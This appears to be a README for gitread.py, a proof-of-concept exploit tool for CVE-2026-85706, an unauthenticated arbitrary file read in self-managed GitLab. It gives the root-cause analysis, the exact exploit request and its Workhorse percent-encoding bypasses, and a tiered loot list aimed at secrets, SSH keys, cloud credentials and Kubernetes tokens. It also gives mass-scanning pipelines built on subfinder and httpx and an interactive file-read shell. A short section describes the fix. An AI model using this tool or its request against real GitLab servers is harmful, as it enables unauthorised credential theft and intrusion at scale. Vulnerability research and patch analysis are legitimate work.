
CVE-2026-85706 · GitLab CE/EE unauthenticated file read · research PoC with oracle mode, fd enumeration, and tiered loot targeting
PoC for CVE-2026-85706, an unauthenticated arbitrary file read affecting self-managed GitLab CE/EE.
| CVE | CVE-2026-85706 |
| CVSS | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) |
| Affected | 18.7 to 19.1.7, 19.2.0 to 19.2.5, 19.3.0 to 19.3.1 |
| Fixed | 19.1.8 / 19.2.6 / 19.3.2 (released 2026-09-10) |
| Component | Repository Commits API / Files API (Workhorse body-upload) |
| Reporter | s3ntago via GitLab HackerOne |
Three repository API endpoints sit behind Workhorse's requestBodyUploader:
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
The Rails handler calls File.open(params['file.path']) before authenticate!. Four conditions make this exploitable:
1. Auth fires after the file read.
require_gitlab_workhorse! only checks the Gitlab-Workhorse-Api-Request JWT header. Workhorse stamps that header on every request it proxies, including plain passthroughs. The real authenticate! lives inside authorize_push_to_branch!, which runs after file_params_from_body_upload has already read the file off disk.
2. file.path comes straight from the request.
file_params_from_body_upload reads params['file.path'] as an absolute path with no validation. In the intended flow Workhorse writes the upload to a temp file and injects that param itself. An attacker just sends it directly as a query string parameter pointing anywhere on the filesystem.
3. Workhorse route matching never decodes percent-encoding.
Workhorse matches upload routes against EscapedPath(), the raw URL bytes as received. Puma decodes %XX sequences before routing to Grape. So encoding one character in a static segment causes Workhorse to skip its rewrite rule while Rails still routes to the vulnerable handler:
POST /api/v4/projects/1/repository/commits/ (trailing slash)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (Grape format suffix)
4. Rack echoes the file content back in the error response.
With Content-Type: application/x-www-form-urlencoded, the file content is handed to Rack::Utils.parse_nested_query. Any bare % not followed by two hex digits raises InvalidParameterError: invalid %-encoding (<content>). Everything up to the first & in the file gets echoed in the 400 body.
Files with no bare % are still read pre-auth. The 401 response from the urlencoded branch and a 500 from the multipart branch both confirm the file exists and is readable by the git user, making them useful as an existence oracle.
Exploit request:
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
--file reads any single file; falls through to the oracle automatically if there is no echo trigger--loot runs 36 targets across 7 tiers, ordered by confirmed echo-trigger probability--oracle runs a dual-branch probe (urlencoded + multipart) against no-echo files and tells you whether each one is readable, missing, or unreadable--proc enumerates /proc/self/fd/0-31 to find open file descriptors, then reads standard /proc recon targets--shell drops into an interactive file-read shell with cat, loot, oracle, project, and curl commands--pipe reads targets from stdin and handles subfinder output, httpx text, httpx JSON, nuclei JSON, and raw host linespip install requests
python3 gitread.py -h
Requires Python 3.10 or newer. No other dependencies.
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
stdin is detected automatically when it is not a TTY, so --pipe is optional in most cases.
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
Exit codes: 0 leak confirmed, 1 oracle only or no leaks in pipeline, 2 nothing found.
Fixed in master commit 0d9ce3e7, backported as 1fe30154 / b43c8b26 / 0ff7b6b2.
Three things were changed at the same time:
authenticate! was moved before file_params_from_body_upload in all three endpoints so the file is never read for an unauthenticated requestfile.path is now only accepted from a typed UploadedFile object produced by the multipart middleware, which requires a valid Workhorse-signed JWT, not from a raw query string parameterInvalidParameterError no longer interpolates e.message into the response body so the echo channel is closed even if someone found a way past the first two fixesThe bug was introduced in GitLab 18.7 (December 2025) when the body-upload variant of the commits API was added.
made with love by @plur1bu5 -- if you find it useful, a star is appreciated
--list takes a file of targets one per line--threads for concurrent bulk scanning--proxy routes everything through Burp or mitmproxy--raw writes raw bytes to stdout with no decoration, useful for piping to a file--full runs loot, oracle, and proc in one pass-o| Verdict | Meaning |
|---|
leak | File content echoed in the 400 body, confirmed read |
leak-frag | Partial echo via parameter type error |
read-noecho | File was read pre-auth but has no bare % so nothing echoed |
READABLE | Multipart branch returned 500, file exists and is readable by the git user |
missing | Server said local file not present |
rewrite | Workhorse rewrote the body, this bypass form is dead |
noroute | Rails 404, instance is patched or the path is wrong |
server-error | 500, file exists but caused a parse error |
| Tier | Files | Echo |
|---|
| 1 | gitlab.rb, gitlab.yml, redis.conf | Content leaks directly |
| 2 | gitlab-secrets.json, secrets.yml, database.yml | Oracle only, pure hex |
| 3 | .gitlab_workhorse_secret | Oracle only |
| 4 | SSH private keys and authorized_keys | Oracle only |
| 5 | gitlab-shell.yml, gitaly.toml, PostgreSQL config | Oracle only |
| 6 | Kubernetes service account token, AWS credentials | Oracle only |
| 7 | Hostname, hosts, passwd, os-release, environ | Oracle only |
| Flag | Description |
|---|
-t, -u, --target | Single base URL |
--pipe | Read targets from stdin |
--list FILE | File of targets |
--file PATH | Single absolute path to read |
--loot | Full 36-target loot run |
--oracle | Dual-branch probe of no-echo files |
--proc | /proc fd enumeration and recon |
--shell | Interactive shell after scan |
--full | loot + oracle + proc |
--project-id ID | Force a project id instead of auto-detecting |
--force | Scan even if the target does not fingerprint as GitLab |
--raw | Write raw bytes to stdout, no decoration |
--proxy URL | HTTP/S proxy |
--threads N | Worker threads for pipeline mode (default 8) |
--timeout N | Per-request timeout in seconds (default 15) |
-o FILE | Save report (.json for pretty array, anything else for JSONL) |
-q, --quiet | Print hits only |
-v, --verbose | Show every probe attempt |
--no-banner | Suppress the banner |